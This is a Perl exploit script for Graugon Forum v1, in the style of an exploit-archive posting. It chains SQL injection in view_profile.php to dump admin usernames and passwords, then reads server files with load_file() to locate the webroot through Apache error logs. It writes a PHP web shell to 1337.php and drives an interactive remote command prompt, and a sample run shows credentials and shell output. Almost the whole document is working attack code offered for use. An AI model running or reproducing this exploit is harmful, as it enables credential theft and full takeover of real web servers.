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#!/usr/bin/perl
# |--------------------------------------------------------------------------------------------------------------------------------------------|
# | INFORMATIONS |
# |--------------------------------------------------------------------------------------------------------------------------------------------|
# |Web Application : Graugon Forum v1 |
# |Download : http://www.graugon.com/forum/forum.zip |
# |--------------------------------------------------------------------------------------------------------------------------------------------|
# |Remote SQL Command Injection Exploit |
# |by Osirys |
# |osirys[at]autistici[dot]org |
# |osirys.org |
# |Greets to: evilsocket, Fireshot, Todd and str0ke |
# |Thank you: milw0rm.com / packetstormsecurity.org / evilsocket.net |
# |--------------------------------------------------------------------------------------------------------------------------------------------|
# |BUG [Sql Injection]
# | p0c : /[path]/view_profile.php?id=[sql_string]
# |SQL Injections used by this sploit :
# |[1] /path]/view_profile.php?id=osirys' union all select concat(details),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 from admins_lf2713 order by '*
# |[2] /path]/view_profile.php?id=osirys' union all select load_file('file'),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 order by '*
# |[3] /path]/view_profile.php?id=osirys' union all select 'rce',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 into outfile 'file
# |--------------------------------------------------------------------------------------------------------------------------------------------|
#----------------------------------------------------------------------------------------------------------------------------------------------|
# Exploit in action [>!]
#----------------------------------------------------------------------------------------------------------------------------------------------|
# osirys[~]>$ perl graugon_forum.txt http://localhost/forum/
#
# ---------------------------
# Graugon Forum
# Command Inj Exploit
# by Osirys
# ---------------------------
#
# [*] Getting admin login details ..
# [$] User: admin
# [$] Pass: password
# [*] Generating error through GET request ..
# [*] Cheeking Apache Error Log path ..
# [*] Error Log path found -> /var/log/httpd/error_log
# [*] Website path found -> /home/osirys/web/forum/
# [*] Shell succesfully injected !
# [&] Hi my master, do your job now [!]
#
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pwd
# /home/osirys/web/forum
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
#----------------------------------------------------------------------------------------------------------------------------------------------|
use IO::Socket;
use LWP::UserAgent;
my $host = $ARGV[0];
my $rand = int(rand 9) +1;
my @error_logs = qw(
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/usr/local/apache/logs/error_log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error.log
/var/log/error_log
/apache/logs/error.log
);
my $php_c0de = "<?php echo \"st4rt\";if(get_magic_quotes_gpc()){ \$_GET".
"[cmd]=stripslashes(\$_GET[cmd]);}system(\$_GET[cmd]);?>";
($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;
$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);
print "[*] Getting admin login details ..\n";
my $url = $host."/view_profile.php?id=osirys' union all select concat(0x64657461696C73,username,0x3a,password,0x64657461696C73),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 from admins_lf2713 order by '*";
my $re = get_req($url);
if ($re =~ /details(.+):(.+)details/) {
$user = $1;
$pass = $2;
print "[\$] User: $user\n";
print "[\$] Pass: $pass\n";
}
else {
print "[-] Can't extract admin details\n\n";
}
print "[*] Generating error through GET request ..\n";
get_req($host."/osirys_log_test".$rand);
print "[*] Cheeking Apache Error Log path ..\n";
while (($log = <@error_logs>)&&($gotcha != 1)) {
$tmp_path = $host."/view_profile.php?id=osirys' union all select load_file('".$log."'),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 order by '*";
$re = get_req($tmp_path);
if ($re =~ /File does not exist: (.+)\/osirys_log_test$rand/) {
$site_path = $1."/";
$gotcha = 1;
print "[*] Error Log path found -> $log\n";
print "[*] Website path found -> $site_path\n";
&inj_shell;
}
}
$gotcha == 1 || die "[-] Couldn't file error_log !\n";
sub inj_shell {
my $attack = $host."/view_profile.php?id=osirys' union all select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'".$php_c0de."',19 into outfile '".$site_path."/1337.php";
get_req($attack);
my $test = get_req($host."/1337.php");
if ($test =~ /st4rt/) {
print "[*] Shell succesfully injected !\n";
print "[&] Hi my master, do your job now [!]\n\n";
$exec_path = $host."/shell.php";
&exec_cmd;
}
else {
print "[-] Shell not found \n[-] Exploit failed\n\n";
exit(0);
}
}
sub exec_cmd {
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..\n";
$exec_url = $host."/1337.php?cmd=".$cmd;
my $re = get_req($exec_url);
my $content = tag($re);
if ($content =~ /st4rt(.+)\*\*19/) {
my $out = $1;
$out =~ s/\$/ /g;
$out =~ s/\*/\n/g;
chomp($out);
print "$out\n";
&exec_cmd;
}
else {
$c++;
$cmd =~ s/\n//;
print "bash: ".$cmd.": command not found\n";
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
&exec_cmd;
}
}
sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}
sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}
sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}
sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}
sub banner {
print "\n".
" ---------------------------\n".
" Graugon Forum \n".
" Command Inj Exploit \n".
" by Osirys \n".
" ---------------------------\n\n";
}
sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Input data failed ! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
exit(0);
}
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